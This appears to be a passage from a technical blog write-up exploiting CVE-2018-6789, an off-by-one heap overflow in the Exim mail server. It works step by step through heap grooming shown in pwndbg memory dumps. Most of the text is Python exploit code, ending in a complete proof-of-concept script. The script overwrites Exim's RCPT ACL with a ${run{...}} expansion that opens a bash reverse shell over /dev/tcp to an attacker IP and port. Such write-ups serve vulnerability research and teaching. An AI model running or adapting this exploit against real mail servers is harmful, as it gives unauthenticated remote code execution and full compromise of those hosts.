In order to allocate the extended super chunk at address 0x55d7e5885ce0, I have to allocate the first three items in the unsorted bin list. One of the item being chunk address 0x55d7e5889d20, which partially overlaps with chunk at address 0x55d7e5889df0. I have to ensure the heap meta-data for chunk 0x55d7e5889df0 is valid, or else, I am unable to allocate the super chunk. Therefore, I have to include heap meta-data in my input for the 0x55d7e5889d20 allocation to patch the header of chunk 0x55d7e5889df0.

For the first and third item in the unsorted bin, I use two unrecognized commands to filler them up.

For the second item, I use a “AUTH PLAIN” command.

#!/usr/bin/python
import time
import socket
import struct
s = None
f = None
def connect(host, port):
global s
global f
s = socket.create_connection((host,port))
f = s.makefile('rw', bufsize=0)
def p(v):
return struct.pack("<Q", v)
def readuntil(delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def write(data):
f.write(data + "\n")
def ehlo(v):
write("EHLO " + v)
print readuntil('HELP')
def unrec(v):
write(v)
print readuntil('command')
def auth_plain(v):
encode = v.encode('base64').replace('\n','').replace('=','')
write("AUTH PLAIN " + encode)
print readuntil('data')
def one_byte_overwrite():
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
encode = encode[:-1] + "PE"
write("AUTH PLAIN " + encode)
print readuntil('data')
def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("D" * 8200)
one_byte_overwrite()
fake_header = p(0)
fake_header += p(0x1f51)
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))
ehlo("F" * 16)
unrec("\xff" * 2000)
unrec("\xff" * 2000)
fake_header = p(0x4110)
fake_header += p(0x1f50)
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))
if __name__ == '__main__':
exploit()

The heap meta-data for chunk at address 0x55d7e5889df0 is patched.

pwndbg> x/20x 0x55d7e5885ce0
0x55d7e5885ce0: 0x00000000 0x00000000 0x00004111 0x00000000
0x55d7e5885cf0: 0xf4162268 0x00007f30 0xf4162268 0x00007f30
0x55d7e5885d00: 0xe5885ce0 0x000055d7 0xe5885ce0 0x000055d7
0x55d7e5885d10: 0x43434343 0x43434343 0x43434343 0x43434343
0x55d7e5885d20: 0x43434343 0x43434343 0x43434343 0x43434343
pwndbg> x/20x 0x55d7e5889d20
0x55d7e5889d20: 0x61616161 0x61616161 0x00002021 0x00000000
0x55d7e5889d30: 0x00000000 0x00000000 0x00002008 0x00000000
0x55d7e5889d40: 0xe5889d20 0x000055d7 0xe5889d20 0x000055d7
0x55d7e5889d50: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889d60: 0x45454545 0x45454545 0x45454545 0x45454545
pwndbg> x/20x 0x55d7e5889df0
0x55d7e5889df0: 0x00004110 0x00000000 0x00001f50 0x00000000
0x55d7e5889e00: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889e10: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889e20: 0x45454545 0x45454545 0x45454545 0x45454545
0x55d7e5889e30: 0x45454545 0x45454545 0x45454545 0x45454545

The “AUTH PLAIN” command makes additional allocation for expanding strings, which happens to allocate a 0x2020 block from the super extended chunk at address 0x55d7e5885ce0. This leaves me with a free block at 0x55d7e5887d00 of size 0x20f0.

pwndbg> x/20x 0x55d7e5885ce0 
0x55d7e5885ce0: 0x00000000 0x00000000 0x00002021 0x00000000
0x55d7e5885cf0: 0x00000000 0x00000000 0x00002000 0x00000000
0x55d7e5885d00: 0xe5885ce0 0x000055d7 0xe5885ce0 0x000055d7
0x55d7e5885d10: 0x43434343 0x43434343 0x43434343 0x43434343
0x55d7e5885d20: 0x43434343 0x43434343 0x43434343 0x43434343
pwndbg> x/20x 0x55d7e5885ce0+0x2020
0x55d7e5887d00: 0x43434343 0x40434343 0x000020f1 0x00000000
0x55d7e5887d10: 0xf4161b58 0x00007f30 0xf4161b58 0x00007f30
0x55d7e5887d20: 0x00000000 0x00000000 0x00000000 0x00000000
0x55d7e5887d30: 0x44444444 0x44444444 0x44444444 0x44444444
0x55d7e5887d40: 0x44444444 0x44444444 0x44444444 0x44444444
pwndbg> x/20x 0x55d7e5889d20
0x55d7e5889d20: 0x61616161 0x61616161 0x00002021 0x00000000
0x55d7e5889d30: 0xe5885cf0 0x000055d7 0x00002008 0x00000000
0x55d7e5889d40: 0x47474747 0x47474747 0x47474747 0x47474747
0x55d7e5889d50: 0x47474747 0x47474747 0x47474747 0x47474747
0x55d7e5889d60: 0x47474747 0x47474747 0x47474747 0x47474747
pwndbg> x/20x 0x55d7e5889df0
0x55d7e5889df0: 0x000020f0 0x00000000 0x00001f50 0x00000000
0x55d7e5889e00: 0x47474747 0x47474747 0x47474747 0x47474747
0x55d7e5889e10: 0x47474747 0x47474747 0x47474747 0x47474747
0x55d7e5889e20: 0x47474747 0x47474747 0x47474747 0x47474747
0x55d7e5889e30: 0x47474747 0x47474747 0x47474747 0x47474747

The extended free chunk is the first item on the unsorted bin list.

pwndbg> unsortedbin
unsortedbin
all: 0x55d7e5887d00 —▸ 0x7f30f4161b58 (main_arena+88) ◂— 0x55d7e5887d00

Allocate the extended chunk and free the ACL store block

The extended chunk at address 0x55d7e5887d00 overlaps with 0x55d7e5889d20.

Using a debugger I confirmed the overlapping is true.

The author suggested to allocate the extended chunk and have it overwrite the “next” pointer in the 0x55d7e5889d20 chunk, so the “next” pointer reference a store block that contains ACL.

The start of user control data in a store block is +0x20 offset from the start of the allocated chunk. So the actual starting point I can control for the extended chunk is at address 0x55d7e5887d20.

The offset between 0x55d7e5889d30 (position of next pointer) and 0x55d7e5887d20 is 8208.

Next, I identify the available ACL strings.

pwndbg> print acl_smtp_auth
$5 = (uschar *) 0x0
pwndbg> print acl_smtp_data
$6 = (uschar *) 0x55d7e58645c0 "acl_check_data"
pwndbg> print acl_smtp_etrn
$7 = (uschar *) 0x0
pwndbg> print acl_smtp_expn
$8 = (uschar *) 0x0
pwndbg> print acl_smtp_helo
$9 = (uschar *) 0x0
pwndbg> print acl_smtp_mail
$10 = (uschar *) 0x0
pwndbg> print acl_smtp_quit
$11 = (uschar *) 0x0
pwndbg> print acl_smtp_rcpt
$12 = (uschar *) 0x55d7e58645b0 "acl_check_rcpt"

I identify which store block the ACL string belongs to through manual inspection.

0x55d7e5864440 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x55d7e5866b20,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x1
}
0x55d7e5864470 PREV_INUSE {
prev_size = 48,
size = 8225,
fd = 0x55d7e5869370,
bk = 0x2000,
fd_nextsize = 0x6978652f7273752f,
bk_nextsize = 0x6769666e6f632f6d
}
0x55d7e5866490 PREV_INUSE {
prev_size = 0,
size = 161,
fd = 0x9250435245,
bk = 0x85100000000,
fd_nextsize = 0xffffffffffffffff,
bk_nextsize = 0x100000047000a
}
pwndbg> printf "%d\n", (0x55d7e58645b0 > 0x55d7e5864470) && (0x55d7e58645b0 < 0x55d7e5864470 + 0x2020) 
1
pwndbg> x/30x 0x55d7e5864470
0x55d7e5864470: 0x00000030 0x00000000 0x00002021 0x00000000
0x55d7e5864480: 0xe5869370 0x000055d7 0x00002000 0x00000000
0x55d7e5864490: 0x7273752f 0x6978652f 0x6f632f6d 0x6769666e
0x55d7e58644a0: 0x00657275 0x00000000 0x7273752f 0x6978652f
0x55d7e58644b0: 0x0000006d 0x00000000 0xe5864500 0x000055d7
0x55d7e58644c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x55d7e58644d0: 0x00000000 0x00000000 0xe5864520 0x000055d7
0x55d7e58644e0: 0xe58644b8 0x000055d7

The starting address from the ACL store block (0x55d7e5864470) that I can control with my user input should start at 0x55d7e5864490.

The offset between 0x55d7e5864490 and 0x55d7e58645b0 is 288.

The ACL store block header starts at 0x55d7e5864480. This is the value I want to overwrite the “next” pointer with.

Lastly, I send another “EHLO” command with a small hostname to force all previous store block to be reset / free. This will free the ACL store block, so I can allocate it later.

Revised code for the “exploit” method.

def exploit():
connect('localhost', 25)
time.sleep(0.5)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("D" * 8200)
one_byte_overwrite()
fake_header = p(0)
fake_header += p(0x1f51)
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))
ehlo("F" * 16)
unrec("\xff" * 2000)
unrec("\xff" * 2000)
fake_header = p(0x4110)
fake_header += p(0x1f50)
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))
address = 0x55d7e5864470
auth_plain("H" * 8200 + p(0x2021) + p(address) + p(0x2008) + "H" * 184)
ehlo("I" * 16)

“next” pointer successfully overwritten.

pwndbg> x/30x 0x55d7e5889d20
0x55d7e5889d20: 0x48484848 0x48484848 0x00002021 0x00000000
0x55d7e5889d30: 0xe5864480 0x000055d7 0x00002008 0x00000000
0x55d7e5889d40: 0x48484848 0x48484848 0x48484848 0x48484848
0x55d7e5889d50: 0x48484848 0x48484848 0x48484848 0x48484848
0x55d7e5889d60: 0x48484848 0x48484848 0x48484848 0x48484848
0x55d7e5889d70: 0x48484848 0x48484848 0x48484848 0x48484848
0x55d7e5889d80: 0x48484848 0x48484848 0x48484848 0x48484848
0x55d7e5889d90: 0x48484848 0x48484848

The ACL store block about to get free.

… snipped …
400 bb = bb->next;
401 pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK;
► 402 store_free_3(b, filename, linenumber);
403 }
404
405 /* Cut out the debugging stuff for utilities, but stop picky compilers from
406 giving warnings. */
407
… snipped …
──────────────────────────────────────────────
► f 0 55d7e539c870 store_reset_3+1169
f 1 55d7e5390dd0 smtp_reset+774
f 2 55d7e5394f6b smtp_setup_msg+5326
f 3 55d7e532485f handle_smtp_call+2752
f 4 55d7e5327b2a daemon_go+10086
f 5 55d7e5344111 main+27309
f 6 7f30f3de82e1 __libc_start_main+241
Breakpoint store.c:402
pwndbg> print b
$9 = (storeblock *) 0x55d7e5864480

It should be noted that the author suggested to perform a partial overwrite against the “next” pointer. I did not implement the code to perform partial overwrite. This will be left as an exercise for the reader.

Overwrite “acl_check_rcpt”

I overwrite the “acl_check_rcpt” with the standard bash reverse shell command.

bash -I >& /dev/tcp/<ip_address>/<port> 0>&1

Revised code for the “exploit” method.

def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("D" * 8200)
one_byte_overwrite()
fake_header = p(0)
fake_header += p(0x1f51)
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))
ehlo("F" * 16)
unrec("\xff" * 2000)
unrec("\xff" * 2000)
fake_header = p(0x4110)
fake_header += p(0x1f50)
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))
address = 0x55d7e5864480
auth_plain("H" * 8200 + p(0x2021) + p(address) + p(0x2008) + "H" * 184)
ehlo("I" * 16)
acl_smtp_rcpt_offset = 288
local_host = ‘192.168.0.160’
local_port = 1337
cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""
cmd_expansion_string = "${run{" + cmd + "}}\0"
auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))

Successfully overwritten the content of “acl_smtp_rcpt”.

pwndbg> x/s acl_smtp_rcpt
0x55d7e58645b0: "${run{/bin/bash"...
pwndbg> printf "%s", acl_smtp_rcpt
${run{/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.0.160/1337 0>&1"}}

Shell Time

The content of “acl_smtp_rcpt” gets evaluated when I send a “RCPT TO” command. The perquisite for the “RCPT TO” command is to send the “MAIL FROM” command first.

Revised code for the “exploit” method.

def exploit():
connect('localhost', 25)
time.sleep(0.6)
ehlo("A" * 8000)
ehlo("B" * 16)
unrec("\xff" * 2000)
ehlo("D" * 8200)
one_byte_overwrite()
fake_header = p(0)
fake_header += p(0x1f51)
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))
ehlo("F" * 16)
unrec("\xff" * 2000)
unrec("\xff" * 2000)
fake_header = p(0x4110)
fake_header += p(0x1f50)
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))
address = 0x55d7e5864480
auth_plain("H" * 8200 + p(0x2021) + p(address) + p(0x2008) + "H" * 184)
ehlo("I" * 16)
acl_smtp_rcpt_offset = 288
local_host = '192.168.0.160'
local_port = 1337
cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""
cmd_expansion_string = "${run{" + cmd + "}}\0"
auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))
write("MAIL FROM:<test@pwned.com>")
print readuntil("OK")
write("RCPT TO:<
shell@pwned.com>")
print readuntil("OK")
pwndbg> c
Continuing.
[New process 4467]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New process 4468]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 4468 is executing new program: /bin/bash
[New process 4469]
[Inferior 4 (process 4469) exited with code 01]

Exploitation Demo

PoC Exploit Code

#!/usr/bin/python
import time
import socket
import struct
s = None
f = None
def logo():
print
print " CVE-2018-6789 Poc Exploit"
print "@straight_blast ; straightblast426@gmail.com"
print
def connect(host, port):
global s
global f
s = socket.create_connection((host,port))
f = s.makefile('rw', bufsize=0)
def p(v):
return struct.pack("<Q", v)
def readuntil(delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def write(data):
f.write(data + "\n")
def ehlo(v):
write("EHLO " + v)
readuntil('HELP')
def unrec(v):
write(v)
readuntil('command')
def auth_plain(v):
encode = v.encode('base64').replace('\n','').replace('=','')
write("AUTH PLAIN " + encode)
readuntil('data')
def one_byte_overwrite():
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
encode = encode[:-1] + "PE"
write("AUTH PLAIN " + encode)
readuntil('data')
def exploit():
logo()
connect('localhost', 25)
print "[1] connected to target"
time.sleep(0.5)

ehlo("A" * 8000)
ehlo("B" * 16)
print "[2] created free chunk size 0x6060 in unsorted bin"

unrec("\xff" * 2000)
ehlo("D" * 8200)
one_byte_overwrite()
print "[3] triggered 1 byte overwrite to extend target chunk size from 0x2020 to 0x20f0"

fake_header = p(0)
fake_header += p(0x1f51)
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))
print "[4] patched chunk with fake header so extended chunk can be freed"

ehlo("F" * 16)
print "[5] freed extended chunk"

unrec("\xff" * 2000)
unrec("\xff" * 2000)
print "[6] occupied 1st and 3rd item in unsorted bin with fillers"

fake_header = p(0x4110)
fake_header += p(0x1f50)
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))
print "[7] patched chunk with fake header so extended chunk can be allocated"

address = 0x55d7e5864480
auth_plain("H" * 8200 + p(0x2021) + p(address) + p(0x2008) + "H" * 184)
print "[8] overwrite 'next' pointer with ACL store block address"

ehlo("I" * 16)
print "[9] freed the ACL store block"

acl_smtp_rcpt_offset = 288
local_host = '192.168.0.159'
local_port = 1337
cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""
cmd_expansion_string = "${run{" + cmd + "}}\0"
auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))
print "[10] malloced ACL store block and overwrite the content of 'acl_smtp_rcpt' with shell expression"

write("MAIL FROM:<test@pwned.com>")
readuntil("OK")
write("RCPT TO:<shell@pwned.com>")
print "[11] triggered RCPT TO and executing shell expression ... enjoy your shell!"
print
if __name__ == '__main__':
exploit()

Useful Breakpoints

pwndbg> b store.c:168
Breakpoint 1 at 0x55d7e539be43: file store.c, line 168.
pwndbg> command
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>print newblock
>end
pwndbg>
pwndbg> b store.c:402
Breakpoint 2 at 0x55d7e539c870: file store.c, line 402.
pwndbg> command
Type commands for breakpoint(s) 2, one per line.
End with a line saying just "end".
>print b
>end
pwndbg>
pwndbg> b smtp_in.c:1762
Breakpoint 3 at 0x55d7e539076c: file smtp_in.c, line 1762.
pwndbg> command
Type commands for breakpoint(s) 3, one per line.
End with a line saying just "end".
>print sender_helo_name
>end
pwndbg>
pwndbg> b smtp_in.c:1811
Breakpoint 4 at 0x55d7e5390918: file smtp_in.c, line 1811.
pwndbg> command
Type commands for breakpoint(s) 4, one per line.
End with a line saying just "end".
>print sender_helo_name
>end

Breakpoint 1: to observe the “store_malloc” call under “store_get_3” function.

163   if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
168 newblock->next = NULL;
169 newblock->length = length;
170 if (!chainbase[store_pool])
171 chainbase[store_pool] = newblock;
172 else
173 current_block[store_pool]->next = newblock;

Breakpoint 2: to observe the “store_free_3” call under “store_reset_3” function.

398    filename, linenumber);
399 #endif
400 bb = bb->next;
401 pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK;
402 store_free_3(b, filename, linenumber);
403 }

Breakpoint 3: to observe the “store_free” call under “check_ehlo” function.

1758 /* Discard any previous helo name */
1759
1760 if (sender_helo_name != NULL)
1761 {
1762 store_free(sender_helo_name);
1763 sender_helo_name = NULL;
1764 }
1765

Breakpoint 4: to observe the “string_copy_malloc” call under the “check_ehlo” function.

1808 /* Save argument if OK */
1809
1810 if (yield) sender_helo_name = string_copy_malloc(start);
1811 return yield;
1812 }

Reference

[1] https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/